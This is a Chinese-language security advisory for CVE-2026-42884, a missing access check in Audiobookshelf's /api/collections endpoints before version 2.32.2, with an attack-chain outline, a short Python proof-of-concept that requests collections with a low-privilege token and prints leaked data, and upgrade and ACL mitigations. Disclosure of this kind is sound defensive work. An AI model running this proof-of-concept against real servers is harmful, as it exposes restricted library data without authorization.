IPBUF安全漏洞报告
English
CVE-2026-42884 CVSS 4.3 中危

CVE-2026-42884 Audiobookshelf越权访问漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42884
漏洞类型
越权访问
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Audiobookshelf

相关标签

越权访问Audiobookshelf信息泄露CVE-2026-42884

漏洞概述

Audiobookshelf在2.32.2之前版本存在越权漏洞。由于API端点未校验用户对特定图书馆的访问权限,认证用户可绕过限制,枚举并读取被禁止访问的图书馆内的收藏及完整书籍元数据。

技术细节

该漏洞源于服务器端在处理GET请求时的权限验证逻辑缺陷。当用户请求/api/collections或/api/collections/:id时,系统仅验证了用户是否登录,却未检查用户是否拥有目标集合所属图书馆的访问权限。这导致攻击者只需拥有任意一个图书馆的访问权限,即可通过遍历ID或直接请求接口,获取服务器上所有图书馆的集合数据,包括敏感的书籍元数据,造成信息泄露。

攻击链分析

STEP 1
1. 获取凭证
攻击者注册账户或获取一个具有访问任意图书馆权限的低权限用户凭证。
STEP 2
2. 发起请求
攻击者使用获取的凭证,向服务器发送GET请求访问/api/collections或/api/collections/:id端点。
STEP 3
3. 权限绕过
服务器端未验证用户对目标图书馆的访问权限,直接返回所有图书馆的集合数据。
STEP 4
4. 信息泄露
攻击者解析响应数据,获取受限图书馆内的书籍元数据和收藏信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url, token): """ Proof of Concept for CVE-2026-42884 Demonstrates unauthorized access to collections. """ headers = { "Authorization": f"Bearer {token}", "User-Agent": "CVE-2026-42884-Scanner" } # Endpoint that returns collections from all libraries without proper access control endpoint = f"{target_url}/api/collections" try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print("[+] Vulnerability confirmed!") print("[+] Leaked Collections Data:") print(data) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target and a valid low-privilege token target = "http://localhost:80" user_token = "VALID_LOW_PRIVILEGE_TOKEN" exploit(target, user_token)

影响范围

Audiobookshelf < 2.32.2

防御指南

临时缓解措施
建议立即升级至2.32.2或更高版本。如果无法立即升级,应通过网络访问控制列表(ACL)限制对/api/collections接口的访问,仅允许管理员IP访问,或暂时禁用多用户功能直到完成修复。

参考链接